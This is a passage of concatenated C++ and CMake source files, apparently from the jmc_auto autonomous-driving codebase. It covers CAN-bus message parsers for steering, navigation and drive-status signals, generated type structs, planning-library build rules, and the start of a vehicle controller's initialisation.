'EPS_ST_EMERGENCYMOTOR_SERVO_MOTOR_FAULT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 17, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_st_emergencymotorType eps_st_emergencymotor(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_St_EmergencyECU', 'enum': {0: 'EPS_ST_EMERGENCYECU_NORMAL', 1: 'EPS_ST_EMERGENCYECU_ECU_INNER_FAULT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_st_emergencyecuType eps_st_emergencyecu(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_St_EmergencyCANInterface', 'enum': {0: 'EPS_ST_EMERGENCYCANINTERFACE_NORMAL', 1: 'EPS_ST_EMERGENCYCANINTERFACE_CAN_INTERFACE_IS_FAULT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 19, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_st_emergencycaninterfaceType eps_st_emergencycaninterface(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_St_EmergencySensor', 'enum': {0: 'EPS_ST_EMERGENCYSENSOR_NORMAL', 1: 'EPS_ST_EMERGENCYSENSOR_SENSOR_IS_FAULT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 20, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_st_emergencysensorType eps_st_emergencysensor(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_St_EmergencyOverTemp', 'enum': {0: 'EPS_ST_EMERGENCYOVERTEMP_NORMAL', 1: 'EPS_ST_EMERGENCYOVERTEMP_OVER_TEMPERATURE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_st_emergencyovertempType eps_st_emergencyovertemp(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_St_EmergencyOverVoltage', 'enum': {0: 'EPS_ST_EMERGENCYOVERVOLTAGE_NORMAL', 1: 'EPS_ST_EMERGENCYOVERVOLTAGE_OVER_VOLTAGE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 22, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_st_emergencyovervoltageType eps_st_emergencyovervoltage(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_St_EmergencyUnderVoltage', 'enum': {0: 'EPS_ST_EMERGENCYUNDERVOLTAGE_NORMAL', 1: 'EPS_ST_EMERGENCYUNDERVOLTAGE_UNDER_VOLTAGE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_st_emergencyundervoltageType eps_st_emergencyundervoltage(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_F_ECUTempValid', 'enum': {0: 'EPS_F_ECUTEMPVALID_INVALID', 1: 'EPS_F_ECUTEMPVALID_VALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 26, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_f_ecutempvalidType eps_f_ecutempvalid(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_SASSoftLimitLeftFlg', 'enum': {0: 'EPS_SASSOFTLIMITLEFTFLG_NO_LEARNED', 1: 'EPS_SASSOFTLIMITLEFTFLG_PRIMARY_LEARNED_ONLY_FOR_CEPS', 2: 'EPS_SASSOFTLIMITLEFTFLG_LEARNED', 3: 'EPS_SASSOFTLIMITLEFTFLG_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 3, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_sassoftlimitleftflgType eps_sassoftlimitleftflg(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_N_ECUTemp', 'offset': -70.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[-70|185]', 'bit': 39, 'type': 'int', 'order': 'motorola', 'physical_unit': 'Degree'} int eps_n_ecutemp(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_N_PerformanceRedu', 'offset': 0.0, 'precision': 0.5, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|100]', 'bit': 47, 'type': 'double', 'order': 'motorola', 'physical_unit': '%'} double eps_n_performanceredu(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_St_DTCFlag', 'enum': {0: 'EPS_ST_DTCFLAG_NO_DTC_EXIST', 1: 'EPS_ST_DTCFLAG_DTC_EXIST'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_st_dtcflagType eps_st_dtcflag(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Rolling_counter_0x260', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rolling_counter_0x260(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_SASIndexSts', 'enum': {0: 'EPS_SASINDEXSTS_STEERWHEEL_NOT_AT_MIDDLE_POSITION', 1: 'EPS_SASINDEXSTS_STEERWHEEL_AT_MIDDLE_POSITION'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_sasindexstsType eps_sasindexsts(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_S_WarningLampYellow', 'enum': {0: 'EPS_S_WARNINGLAMPYELLOW_CLOSE', 1: 'EPS_S_WARNINGLAMPYELLOW_OPEN'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 6, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_s_warninglampyellowType eps_s_warninglampyellow(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Checksum_0x260', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0x260(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_S_SafeLampRed', 'enum': {0: 'EPS_S_SAFELAMPRED_CLOSE', 1: 'EPS_S_SAFELAMPRED_OPEN'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_s_safelampredType eps_s_safelampred(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_F_LoadInfo', 'enum': {0: 'EPS_F_LOADINFO_NO_FAULT', 1: 'EPS_F_LOADINFO_FAULT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 8, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_f_loadinfoType eps_f_loadinfo(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_CX75_PROTOCOL_EPS_0X260_260_H_ <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_license_h #define impl_type_license_h #include "impl_type_string.h" struct License { ::String vin; static bool IsPlane() { return false; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(vin); } template<typename F> void enumerate(F& fun) const { fun(vin); } bool operator == (const ::License& t) const { return (vin == t.vin); } }; #endif // impl_type_license_h <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/gw_mp5_nav_0x533_533.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Gwmp5nav0x533533::Gwmp5nav0x533533() {} const int32_t Gwmp5nav0x533533::ID = 0x533; void Gwmp5nav0x533533::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_gw_mp5_nav_0x533_533()->set_nav_speedlimitunits(nav_speedlimitunits(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_nav_0x533_533()->set_nav_currroadtype(nav_currroadtype(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_nav_0x533_533()->set_nav_speedlimit(nav_speedlimit(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_nav_0x533_533()->set_mp5_apaactive_cmd(mp5_apaactive_cmd(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_nav_0x533_533()->set_mp5_apa_confirmbutton(mp5_apa_confirmbutton(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_nav_0x533_533()->set_mp5_apa_function_select(mp5_apa_function_select(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_nav_0x533_533()->set_nav_sts(nav_sts(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_nav_0x533_533()->set_nav_countrycode(nav_countrycode(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_nav_0x533_533()->set_nav_speedlimitstatus(nav_speedlimitstatus(bytes, length)); } // config detail: {'name': 'nav_speedlimitunits', 'enum': {0: 'NAV_SPEEDLIMITUNITS_UNKNOWN', 1: 'NAV_SPEEDLIMITUNITS_MPH', 2: 'NAV_SPEEDLIMITUNITS_KMH', 3: 'NAV_SPEEDLIMITUNITS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_nav_0x533_533::Nav_speedlimitunitsType Gwmp5nav0x533533::nav_speedlimitunits(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(2, 2); Gw_mp5_nav_0x533_533::Nav_speedlimitunitsType ret = static_cast<Gw_mp5_nav_0x533_533::Nav_speedlimitunitsType>(x); return ret; } // config detail: {'name': 'nav_currroadtype', 'enum': {0: 'NAV_CURRROADTYPE_UNKNOW', 1: 'NAV_CURRROADTYPE_HIGH_SPEED_ROAD', 2: 'NAV_CURRROADTYPE_CITY_EXPRESS_WAY', 3: 'NAV_CURRROADTYPE_DOWNTOWN_ROAD', 4: 'NAV_CURRROADTYPE_COUNTRY_ROAD'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_nav_0x533_533::Nav_currroadtypeType Gwmp5nav0x533533::nav_currroadtype(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(4, 4); Gw_mp5_nav_0x533_533::Nav_currroadtypeType ret = static_cast<Gw_mp5_nav_0x533_533::Nav_currroadtypeType>(x); return ret; } // config detail: {'name': 'nav_speedlimit', 'enum': {0: 'NAV_SPEEDLIMIT_NO_DISPLAY', 1: 'NAV_SPEEDLIMIT_SPL_5', 2: 'NAV_SPEEDLIMIT_SPL_10', 3: 'NAV_SPEEDLIMIT_SPL_15', 4: 'NAV_SPEEDLIMIT_SPL_20', 5: 'NAV_SPEEDLIMIT_SPL_25', 26: 'NAV_SPEEDLIMIT_SPL_130'}, 'precision': 1.0, 'len': 6, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|63]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_nav_0x533_533::Nav_speedlimitType Gwmp5nav0x533533::nav_speedlimit(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(2, 6); Gw_mp5_nav_0x533_533::Nav_speedlimitType ret = static_cast<Gw_mp5_nav_0x533_533::Nav_speedlimitType>(x); return ret; } // config detail: {'name': 'mp5_apaactive_cmd', 'enum': {0: 'MP5_APAACTIVE_CMD_NO_REQUEST', 1: 'MP5_APAACTIVE_CMD_REQUEST'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 26, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_nav_0x533_533::Mp5_apaactive_cmdType Gwmp5nav0x533533::mp5_apaactive_cmd(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(2, 1); Gw_mp5_nav_0x533_533::Mp5_apaactive_cmdType ret = static_cast<Gw_mp5_nav_0x533_533::Mp5_apaactive_cmdType>(x); return ret; } // config detail: {'name': 'mp5_apa_confirmbutton', 'enum': {0: 'MP5_APA_CONFIRMBUTTON_NO_BUTTON_PRESS', 1: 'MP5_APA_CONFIRMBUTTON_COMFIRM_BUTTON_PRESS', 2: 'MP5_APA_CONFIRMBUTTON_TERMINATED_BUTTON_PRESS', 3: 'MP5_APA_CONFIRMBUTTON_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 28, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_nav_0x533_533::Mp5_apa_confirmbuttonType Gwmp5nav0x533533::mp5_apa_confirmbutton(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(3, 2); Gw_mp5_nav_0x533_533::Mp5_apa_confirmbuttonType ret = static_cast<Gw_mp5_nav_0x533_533::Mp5_apa_confirmbuttonType>(x); return ret; } // config detail: {'name': 'mp5_apa_function_select', 'enum': {0: 'MP5_APA_FUNCTION_SELECT_NO_BUTTON_PRESS', 1: 'MP5_APA_FUNCTION_SELECT_PPSC_BUTTON_PRESS', 2: 'MP5_APA_FUNCTION_SELECT_CPSC_BUTTON_PRESS', 3: 'MP5_APA_FUNCTION_SELECT_POC_BUTTON_PRESS'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 30, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_nav_0x533_533::Mp5_apa_function_selectType Gwmp5nav0x533533::mp5_apa_function_select(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(5, 2); Gw_mp5_nav_0x533_533::Mp5_apa_function_selectType ret = static_cast<Gw_mp5_nav_0x533_533::Mp5_apa_function_selectType>(x); return ret; } // config detail: {'name': 'nav_sts', 'enum': {0: 'NAV_STS_INACTIVE', 1: 'NAV_STS_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_nav_0x533_533::Nav_stsType Gwmp5nav0x533533::nav_sts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(7, 1); Gw_mp5_nav_0x533_533::Nav_stsType ret = static_cast<Gw_mp5_nav_0x533_533::Nav_stsType>(x); return ret; } // config detail: {'name': 'nav_countrycode', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwmp5nav0x533533::nav_countrycode(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'nav_speedlimitstatus', 'enum': {0: 'NAV_SPEEDLIMITSTATUS_SL_UNKNOWN', 1: 'NAV_SPEEDLIMITSTATUS_SL_EXISTS', 2: 'NAV_SPEEDLIMITSTATUS_SL_NOLIMIT', 3: 'NAV_SPEEDLIMITSTATUS_SL_PLURAL'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 9, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_nav_0x533_533::Nav_speedlimitstatusType Gwmp5nav0x533533::nav_speedlimitstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 2); Gw_mp5_nav_0x533_533::Nav_speedlimitstatusType ret = static_cast<Gw_mp5_nav_0x533_533::Nav_speedlimitstatusType>(x); return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_systemtime_h #define impl_type_systemtime_h #include "impl_type_uint32.h" struct Systemtime { ::UInt32 second; ::UInt32 nsecond; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(second); fun(nsecond); } template<typename F> void enumerate(F& fun) const { fun(second); fun(nsecond); } bool operator == (const ::Systemtime& t) const { return (second == t.second) && (nsecond == t.nsecond); } }; #endif // impl_type_systemtime_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_uncertainty_h #define impl_type_uncertainty_h struct Uncertainty { static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { } template<typename F> void enumerate(F& fun) const { } bool operator == (const ::Uncertainty& t) const { return true; } }; #endif // impl_type_uncertainty_h <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_GW_VCU_DRIVESTS_0X10A_10A_H_ #define MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_GW_VCU_DRIVESTS_0X10A_10A_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace teshun { class Gwvcudrivests0x10a10a : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Gwvcudrivests0x10a10a(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'Checksum_0x10A', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0x10a(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Rolling_counter_0x10A', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rolling_counter_0x10a(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_VehicleError_Intervene', 'enum': {0: 'VCU_VEHICLEERROR_INTERVENE_NOTINTERVENE', 1: 'VCU_VEHICLEERROR_INTERVENE_INTERVENE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_drivests_0x10a_10a::Vcu_vehicleerror_interveneType vcu_vehicleerror_intervene(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_Torque_ControlStatus', 'enum': {0: 'VCU_TORQUE_CONTROLSTATUS_TEMPORARILY_INHIBIT', 1: 'VCU_TORQUE_CONTROLSTATUS_AVAILABLEFORCONTROL', 2: 'VCU_TORQUE_CONTROLSTATUS_ACTIVE', 3: 'VCU_TORQUE_CONTROLSTATUS_PERMANENTLY_FAILED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 14, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_drivests_0x10a_10a::Vcu_torque_controlstatusType vcu_torque_controlstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_TorqueDriver_Intervene', 'enum': {0: 'VCU_TORQUEDRIVER_INTERVENE_NOTINTERVENE', 1: 'VCU_TORQUEDRIVER_INTERVENE_INTERVENE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_drivests_0x10a_10a::Vcu_torquedriver_interveneType vcu_torquedriver_intervene(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_GearPos_ControlStatus', 'enum': {0: 'VCU_GEARPOS_CONTROLSTATUS_TEMPORARILY_INHIBIT', 1: 'VCU_GEARPOS_CONTROLSTATUS_AVAILABLEFORCONTROL', 2: 'VCU_GEARPOS_CONTROLSTATUS_ACTIVE', 3: 'VCU_GEARPOS_CONTROLSTATUS_PERMANENTLY_FAILED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 6, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_drivests_0x10a_10a::Vcu_gearpos_controlstatusType vcu_gearpos_controlstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_GearPosDriver_Intervene', 'enum': {0: 'VCU_GEARPOSDRIVER_INTERVENE_NOTINTERVENE', 1: 'VCU_GEARPOSDRIVER_INTERVENE_INTERVENE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_drivests_0x10a_10a::Vcu_gearposdriver_interveneType vcu_gearposdriver_intervene(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_Veh_STS', 'enum': {0: 'VCU_VEH_STS_NOTREADY', 1: 'VCU_VEH_STS_READY'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_drivests_0x10a_10a::Vcu_veh_stsType vcu_veh_sts(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_AxleSpdSt', 'enum': {0: 'VCU_AXLESPDST_NOERROR', 1: 'VCU_AXLESPDST_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 32, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_drivests_0x10a_10a::Vcu_axlespdstType vcu_axlespdst(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_AxleSpd', 'offset': 0.0, 'precision': 0.5, 'len': 15, 'is_signed_var': False, 'physical_range': '[0|16383]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': 'rpm'} double vcu_axlespd(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace teshun } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_TESHUN_PROTOCOL_GW_VCU_DRIVESTS_0X10A_10A_H_ <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(constraint_checker constraint_checker.cc constraint_checker.h) target_link_libraries(constraint_checker log pnc_point_proto vehicle_state_provider planning_gflags discretized_trajectory) add_library(constraint_checker1d constraint_checker1d.cc constraint_checker1d.h) target_link_libraries(constraint_checker1d log frame planning_gflags discretized_trajectory /modules/planning/math/curve1d) add_library(collision_checker collision_checker.cc collision_checker.h) target_link_libraries(collision_checker log vehicle_config_helper geometry path_matcher frame obstacle discretized_trajectory /modules/planning/lattice/behavior:path_time_graph /modules/prediction/proto:prediction_proto) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_uint32_h #define impl_type_uint32_h #include "base_type_std_uint32_t.h" typedef std_uint32_t UInt32; #endif // impl_type_uint32_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(piecewise_jerk_path_optimizer piecewise_jerk_path_optimizer.cc piecewise_jerk_path_optimizer.h) target_link_libraries(piecewise_jerk_path_optimizer vehicle_config_helper /modules/common/math cartesian_frenet_conversion /modules/common/math/qp_solver pnc_point_proto /modules/common/util /modules/map/proto:map_proto obstacle path_boundary path_decision planning_context planning_gflags discretized_path frenet_frame_path path_data speed_data /modules/planning/lattice/trajectory_generation:trajectory1d_generator polynomial_xd /modules/planning/math/curve1d:polynomial_curve1d /modules/planning/math/curve1d:quintic_polynomial_curve1d /modules/planning/math/piecewise_jerk:piecewise_jerk_path_problem planning_proto /modules/planning/reference_line /modules/planning/tasks/optimizers:path_optimizer eigen) add_library(piecewise_jerk_path_ipopt_solver piecewise_jerk_path_ipopt_solver.cc piecewise_jerk_path_ipopt_solver.h) target_link_libraries(piecewise_jerk_path_ipopt_solver /modules/common ipopt eigen) <file_sep>/* Copyright 2017 The jmc_auto Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "modules/canbus/vehicle/cx75/cx75_controller.h" #include "modules/common/proto/vehicle_signal.pb.h" #include "modules/canbus/vehicle/cx75/cx75_message_manager.h" #include "modules/canbus/vehicle/vehicle_controller.h" #include "modules/common/log.h" #include "modules/common/time/jmcauto_time.h" #include "modules/drivers/canbus/can_comm/can_sender.h" #include "modules/drivers/canbus/can_comm/protocol_data.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::common::ErrorCode; using ::jmc_auto::control::ControlCommand; using ::jmc_auto::drivers::canbus::ProtocolData; namespace { const int32_t kMaxFailAttempt = 25; const int32_t CHECK_RESPONSE_STEER_UNIT_FLAG = 1; const int32_t CHECK_RESPONSE_SPEED_UNIT_FLAG = 2; const int32_t CHECK_RESPONSE_APA_UNIT_FLAG = 4; const int32_t CHECK_RESPONSE_ESPPAM_UNIT_FLAG = 8; } // namespace ErrorCode Cx75Controller::Init( const VehicleParameter &params, CanSender<::jmc_auto::canbus::ChassisDetail> *const can_sender, MessageManager<::jmc_auto::canbus::ChassisDetail> *const message_manager) { if (is_initialized_) { AINFO << "Cx75Controller has already been initiated."; return ErrorCode::CANBUS_ERROR; } params_.CopyFrom(params); if (!params_.has_driving_mode()) { AERROR << "Vehicle conf pb not set driving_mode."; return ErrorCode::CANBUS_ERROR; } if (can_sender == nullptr) { return ErrorCode::CANBUS_ERROR; } can_sender_ = can_sender; if (message_manager == nullptr) { AERROR << "protocol manager is null."; return ErrorCode::CANBUS_ERROR; } message_manager_ = message_manager; // sender part pam_0x270_270_ = dynamic_cast<Pam0x270270 *>(message_manager_->GetMutableProtocolDataById(Pam0x270270::ID)); if (pam_0x270_270_ == nullptr) { AERROR << "Pam0x270270 does not exist in the Cx75MessageManager!"; return ErrorCode::CANBUS_ERROR; } pam_0x271_271_ = dynamic_cast<Pam0x271271 *>(message_manager_->GetMutableProtocolDataById(Pam0x271271::ID)); if (pam_0x271_271_ == nullptr) { AERROR << "Pam0x271271 does not exist in the Cx75MessageManager!"; return ErrorCode::CANBUS_ERROR; } pam_0x272_272_ = dynamic_cast<Pam0x272272 *>(message_manager_->GetMutableProtocolDataById(Pam0x272272::ID)); if (pam_0x272_272_ == nullptr) { AERROR << "Pam0x272272 does not exist in the Cx75MessageManager!"; return 